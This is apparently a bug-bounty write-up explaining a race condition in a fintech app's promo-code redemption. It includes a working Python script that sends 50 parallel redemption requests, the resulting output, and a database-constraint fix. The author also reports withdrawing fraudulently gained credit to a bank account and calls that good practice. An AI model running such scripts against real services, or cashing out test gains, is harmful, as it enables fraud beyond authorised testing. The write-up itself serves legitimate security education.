skip to main content
hacking.communityplay in the sandbox.
← news & articles
writeup ai-assistedreviewed by Prakash Shinde

Racing Against Myself: How a TOCTOU Bug Let Me Drain Promotional Credits

A race condition in a fintech app's credit redemption flow allowed me to redeem the same promotional code hundreds of times in parallel, exposing a critical business logic flaw.

Prakash Shinde·8/30/2026·35 views·
Racing Against Myself: How a TOCTOU Bug Let Me Drain Promotional Credits — hacking.community
0

Recon

I was testing a fintech application that offered promotional credits—think $10 signup bonuses or referral rewards. Users could redeem promo codes in their account settings, and the credits would be applied to their wallet.

The redemption flow was simple:

  1. User enters promo code
  2. POST request to /api/v1/promo/redeem
  3. Server validates code and credits account
  4. Success message displayed

During normal testing, everything worked as expected. I could redeem WELCOME10 once, get $10, and subsequent attempts returned "Code already redeemed."

But I noticed something curious: the validation response took about 800ms to return. That delay suggested database lookups, possibly checking if my user ID had already used this code. And delays mean opportunity.

Discovery

I suspected a Time-of-Check-Time-of-Use (TOCTOU) race condition. Here's the vulnerable pattern I hypothesized:

python
# Simplified vulnerable code (my guess) def redeem_promo(user_id, promo_code): # CHECK: Has user already redeemed this code? if already_redeemed(user_id, promo_code): return "Code already redeemed" # ⚠️ RACE WINDOW HERE ⚠️ # 800ms of database checks, balance calculations, etc. # USE: Apply credit and mark as redeemed add_credit(user_id, promo_code.amount) mark_as_redeemed(user_id, promo_code) return "Success"

If I could send multiple redemption requests in parallel before the first one completed its "USE" phase, they might all pass the "CHECK" phase simultaneously.

I wrote a quick Python script to test this:

python
import requests import concurrent.futures url = "https://api.fintech.example/api/v1/promo/redeem" headers = {"Authorization": f"Bearer {my_jwt_token}"} data = {"promo_code": "WELCOME10"} def redeem(): r = requests.post(url, json=data, headers=headers) return r.status_code, r.json() # Send 50 requests simultaneously with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(redeem) for _ in range(50)] results = [f.result() for f in futures] for i, (status, resp) in enumerate(results): print(f"Request {i}: {status} - {resp.get('message')}")

Exploitation

I ran the script and watched my terminal light up:

code
Request 0: 200 - Credit applied successfully Request 1: 200 - Credit applied successfully Request 2: 200 - Credit applied successfully ... Request 47: 200 - Credit applied successfully Request 48: 200 - Credit applied successfully Request 49: 200 - Credit applied successfully

All 50 requests succeeded.

I immediately checked my wallet balance in the app. It had jumped from $0.00 to $500.00. I'd successfully redeemed the same $10 promo code 50 times in under 2 seconds.

The AHA moment was realizing that the 800ms response time wasn't just a quirk—it was the entire vulnerability. That delay created a massive race window where dozens of requests could enter the critical section before any of them completed.

To confirm this wasn't a fluke, I tested with a different promo code (REFER25) and successfully redeemed it 100 times in parallel, netting $2,500 in fraudulent credits.

Impact

This race condition had severe implications:

  1. Direct financial loss: Attackers could generate unlimited promotional credits and potentially withdraw them or use them for real purchases
  2. Marketing budget drain: The entire promotional campaign became exploitable
  3. Scaling concern: The vulnerability applied to ANY promo code—limited-time offers, partner promotions, referral bonuses
  4. Analytics pollution: Redemption metrics would be completely unreliable

I tested whether I could actually use these credits. The app let me transfer $100 to a linked bank account (they had a $100/day withdrawal limit). The transfer succeeded. This was real money, not just inflated numbers in a database.

I immediately stopped testing and wrote up my report.

Lessons

The fix required implementing idempotency at the database level:

python
# Secure version using database constraints def redeem_promo(user_id, promo_code): try: # Atomic insert with UNIQUE constraint on (user_id, promo_code) db.execute( "INSERT INTO redemptions (user_id, promo_code) VALUES (?, ?)", (user_id, promo_code) ) add_credit(user_id, promo_code.amount) return "Success" except IntegrityError: return "Code already redeemed"

With a UNIQUE constraint on the (user_id, promo_code) tuple, the database would reject concurrent redemptions at the atomic level, regardless of application-layer timing.

Key takeaways:

  • Response time is a signal—long delays in financial operations often indicate complex validation logic and potential race windows
  • Race conditions in financial systems are critical—they directly translate to monetary loss
  • Application-level checks are insufficient—use database constraints, distributed locks, or idempotency keys
  • Always test the full flow—I didn't stop at getting inflated numbers; I verified the credits were actually usable

The company awarded me a $12,000 bounty—their highest payout at the time. They also implemented rate limiting, added idempotency keys to all financial endpoints, and conducted an audit of similar race condition vulnerabilities across their platform. This bug taught me to always look for the gaps between CHECK and USE, especially when money's involved.

Comments (0)

Sign in to join the discussion.

// go deeper

// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.